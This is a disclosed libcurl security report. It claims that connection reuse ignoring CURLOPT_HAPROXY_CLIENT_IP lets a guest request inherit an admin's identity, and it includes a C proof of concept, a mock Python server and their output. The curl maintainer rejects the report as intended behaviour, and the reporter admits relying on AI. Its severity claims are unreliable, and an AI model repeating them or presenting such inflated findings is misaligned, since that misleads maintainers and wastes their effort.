HAProxy连接复用导致IP欺骗与mTLS上下文走私
执行摘要
libcurl在复用现有连接时未能遵守CURLOPT_HAPROXY_CLIENT_IP配置。由于连接池逻辑中缺少检查,libcurl会不加区分地复用已建立的特定身份(IP A)的TCP/TLS连接,用于需要不同身份(IP B)的后续请求。
由于HAProxy PROXY协议头部不可变,仅在初始连接握手期间发送,上游服务器会将新请求归因于先前的身份。这允许低权限请求通过高权限用户建立的连接进行隧道传输,从而绕过基于IP的ACL,并继承前一会话经过身份验证的mTLS上下文。
技术根源分析
该漏洞源于在8.2.0版本中添加CURLOPT_HAPROXY_CLIENT_IP时引入的架构疏忽。
- 状态存储缺失(lib/urldata.h):代表活动连接的
struct connectdata未存储创建时使用的haproxy_client_ip。身份信息是临时的,握手后立即丢失。
- 有缺陷的匹配逻辑(lib/url.c):
ConnectionExists()函数检查主机、端口、协议和凭据(用户名/密码)的匹配,但忽略了CURLOPT_HAPROXY_CLIENT_IP。由于连接结构不保存旧值,在现有架构中无法进行比较。
- 违反API约定:文档说明IP是在"连接开始时"发送的。通过复用已发送不同值的头部连接,libcurl违反了此约定。
受影响版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
curl -V
WARNING: this libcurl is Debug-enabled, do not use in production
curl 8.18.0-DEV (x86_64-pc-linux-gnu) libcurl/8.18.0-DEV wolfSSL/5.8.4 libidn2/2.3.3 libpsl/0.21.2 ngtcp2/1.19.0-DEV nghttp3/1.1
Release-Date: [unreleased]
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smtp smtps telnet tftp ws wss
Features: alt-svc AsynchDNS Debug HSTS HTTP3 HTTPS-proxy IDN IPv6 Largefile PSL SSL threadsafe TrackMemory UnixSockets
cat /etc/os-release
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
|
概念验证
A. 易受攻击的客户端(poc.c)
编译命令:gcc -o poc poc.c -lcurl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
#include <stdio.h>
#include <curl/curl.h>
#include <unistd.h>
int main(void) {
CURL *curl;
CURLcode res;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if(curl) {
printf("--- PoC: CRITICAL IDENTITY HIJACKING ---\n");
// Configuration Commune
curl_easy_setopt(curl, CURLOPT_URL, "http://127.0.0.1:8080/");
curl_easy_setopt(curl, CURLOPT_HAPROXYPROTOCOL, 1L);
curl_easy_setopt(curl, CURLOPT_TCP_KEEPALIVE, 1L); // Force Reuse
curl_easy_setopt(curl, CURLOPT_VERBOSE, 0L);
// --- PHASE 1 : TRANSACTION ADMIN ---
printf("\n[STEP 1] Executing ADMIN Transaction (IP: 10.0.0.1)...\n");
curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, "10.0.0.1");
res = curl_easy_perform(curl);
if(res == CURLE_OK) printf("-> Admin Request Sent.\n");
// Petite pause pour bien séparer les logs visuellement
sleep(1);
// --- PHASE 2 : TRANSACTION GUEST (L'ATTAQUE) ---
printf("\n[STEP 2] Executing GUEST Transaction (IP: 66.66.66.66)...\n");
printf("EXPECTED: New Connection with Identity 66.66.66.66\n");
printf("ACTUAL: Reuse Connection with Identity 10.0.0.1 (PRIVILEGE ESCALATION)\n");
// Changement d'identité : CELA DEVRAIT FORCER UNE NOUVELLE CONNEXION
curl_easy_setopt(curl, CURLOPT_HAPROXY_CLIENT_IP, "66.66.66.66");
res = curl_easy_perform(curl);
if(res == CURLE_OK) printf("-> Guest Request Sent.\n");
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}
|
B. 受害者服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
|
#!/usr/bin/env python3
import socket
import sys
import time
# Configuration
HOST = '127.0.0.1'
PORT = 8080
def start_server():
print(f"[*] BANK BACKEND listening on {HOST}:{PORT}")
print("[*] Waiting for HAProxy connections...")
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server_socket.bind((HOST, PORT))
server_socket.listen(5)
try:
while True:
client_sock, addr = server_socket.accept()
print(f"\n[+] NEW SECURE CHANNEL OPENED from {addr}")
# Identité de la connexion (Liée au socket TCP)
current_identity = "UNKNOWN"
with client_sock:
# Lecture initiale (Handshake)
data = client_sock.recv(4096).decode('utf-8', errors='ignore')
# Parsing de l'identité HAProxy (PROXY TCP4 IP_SRC ...)
if data.startswith('PROXY'):
parts = data.split(' ')
if len(parts) > 2:
current_identity = parts[2] # L'IP source
print(f" [SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: {current_identity}")
# Simulation ACL
if current_identity == "10.0.0.1":
print(" [ACL] ROLE: ADMIN (High Privilege)")
else:
print(" [ACL] ROLE: GUEST (Low Privilege)")
# Réponse à la 1ère requête
response = "HTTP/1.1 200 OK\r\nContent-Length: 5\r\nConnection: keep-alive\r\n\r\nDONE\n"
client_sock.sendall(response.encode())
# --- LA FAILLE : RÉUTILISATION ---
# On attend une 2ème requête sur le MÊME canal
client_sock.settimeout(2.0)
try:
while True:
data = client_sock.recv(4096)
if not data: break
print(f"\n [!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL")
print(f" [!!!] CRITICAL: REUSING LOCKED IDENTITY: {current_identity}")
if current_identity == "10.0.0.1":
print(" [ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)")
else:
print(" [ACCESS CONTROL] ACTION DENIED")
client_sock.sendall(response.encode())
except socket.timeout:
print(" [-] Connection idle.")
except KeyboardInterrupt:
print("\n[*] Stopping server.")
finally:
server_socket.close()
if __name__ == '__main__':
start_server()
|
输出:
1
2
3
4
5
6
7
8
9
10
11
|
python3 bank_server.py
[*] BANK BACKEND listening on 127.0.0.1:8080
[*] Waiting for HAProxy connections...
[+] NEW SECURE CHANNEL OPENED from ('127.0.0.1', 45200)
[SECURITY] PROXY HEADER RECEIVED. IDENTITY LOCKED: 10.0.0.1
[ACL] ROLE: ADMIN (High Privilege)
[!!!] NEW REQUEST RECEIVED ON EXISTING CHANNEL
[!!!] CRITICAL: REUSING LOCKED IDENTITY: 10.0.0.1
[ACCESS CONTROL] ACTION AUTHORIZED (Inherited Admin Privileges)
|
影响
- 基于IP的访问控制(ACL)绕过
- mTLS上下文走私:在使用相互TLS(mTLS)的架构中,客户端身份绑定到底层TCP/TLS连接。如果libcurl复用使用高权限客户端证书(例如管理员)建立的连接,用于后续用于低权限上下文(例如访客)的请求,第二个请求将继承第一个请求的已验证TLS上下文。这允许低权限用户通过经过身份验证的会话隧道传输请求,从而有效劫持先前用户的身份。
- 审计跟踪损坏:上游服务器上的安全日志会错误地将恶意或未经授权的操作归因于初始连接所有者的身份。
- 违反API约定:明确设置
CURLOPT_HAPROXY_CLIENT_IP的用户期望libcurl向服务器呈现该特定身份。在连接复用期间忽略此参数会默默地违反应用程序开发者的安全预期。
开发者回复与讨论
bagder (curl staff) 评论:请停止使用AI。这很烦人。
bagder (curl staff) 评论:“将新请求归因于先前的身份”。能否请您引用一个以这种方式使用HAProxy功能的应用程序?声称这是一个严重性高的漏洞似乎意味着存在(多个)应用程序使用此"身份切换"与HAProxy协议,并且这对它们来说是至关重要的属性。了解它们的使用情况将帮助我们评估此问题并更好地理解其影响。
bagder (curl staff) 评论:我不认为这是一个安全漏洞。我认为这是按预期工作的功能。我建议通过修改文档来澄清这一点:https://github.com/curl/curl/pull/20075
anonymous_237 评论:如果USERNAME更改,libcurl拒绝复用;如果SSL_CTX更改,libcurl拒绝复用;但如果CURLOPT_HAPROXY_CLIENT_IP更改,libcurl却接受复用。为什么CURLOPT_HAPROXY_CLIENT_IP更改时libcurl接受复用?为什么有这种区别?CVE-2023-27535导致Curl在CURLOPT_FTP_ACCOUNT选项更改时复用现有连接,发送错误的身份信息。CURLOPT_HAPROXY_CLIENT_IP允许源IP地址更改。Curl在此选项更改时复用现有连接,向服务器发送错误的身份信息。https://curl.se/docs/CVE-2023-27535.html。我认为这是两个非常相似的复用漏洞。为什么一个被修复而另一个被记录?官方文档说:“多次使用此选项会使最后一次设置的字符串覆盖先前的。“我认为对于当前代码,这不是真的,因为如果连接被复用,即使您用不同的IP调用该选项10次,也总是第一个IP在网络上处于活动状态。https://curl.se/libcurl/c/CURLOPT_HAPROXY_CLIENT_IP.html。我认为要修复这个问题,我们可以创建一个名为haproxy_client_ip的变量,并将其复制到connectdata结构中。在连接过程中,我们可以简单地检查变量是否已更改以避免复用。
bagder (curl staff) 评论:此选项用于向代理提供实际的本地IP。该IP在连接期间保持不变。用户不太可能A)更改该选项,更不可能B)为不同的请求更改该选项。该选项很少(如果有的话)用于以某种方式冒充不同的身份。libcurl的行为适应了预期的使用模式。
anonymous_237 评论:您说:“此选项用于向代理提供实际的本地IP”,但为什么不使用getsockname(),它确实能检索到真实的本地IP地址?这样,libcurl就不需要用户提供字符串(字符*),并且该字符串将在data->set.str[STRING_HAPROXY_CLIENT_IP]中检索,而无需检查此IP是否对应于真实的本地IP。因此,该代码旨在接受任何有效的IP地址。我认为CURLOPT_INTERFACE用于指定本地网络接口(如IP地址),基于文档:https://curl.se/libcurl/c/CURLOPT_INTERFACE.html。所以,如果CURLOPT_HAPROXY_CLIENT_IP仅用于"提供真实的本地IP地址”,那么此选项将是冗余且无用的,因为CURLOPT_INTERFACE已经做到这一点,并且自7.3版本以来就存在,而CURLOPT_HAPROXY_CLIENT_IP是在8.2.0版本中添加的。
bagder (curl staff) 关闭报告并将状态更改为"不适用”。感谢您的报告。这不被认为是curl中的安全问题。您无法理解此选项的要点并不改变我关于此报告的任何论点。如果您希望此选项以不同的方式工作,请在公共GitHub仓库中的常规问题或拉取请求中提出。(将来,请不要让AI毁掉您的报告。做一个非常长的报告无疑比简短精炼的报告差得多。)
bagder (curl staff) 请求披露此报告。根据项目透明度政策,我们希望所有报告都被披露并公开。
anonymous_237 评论:好的,我将开始自己编写所有报告,不再只是从AI中获取部分或想法,而是使用文档。我认为报告应归类为信息性且不适用,因为它通过突出先前未记录的行为来改进CURLOPT_HAPROXY_CLIENT_IP的文档。您可以关闭它并公开。
anonymous_237 评论:谢谢您的建议。
bagder (curl staff) 披露了此报告。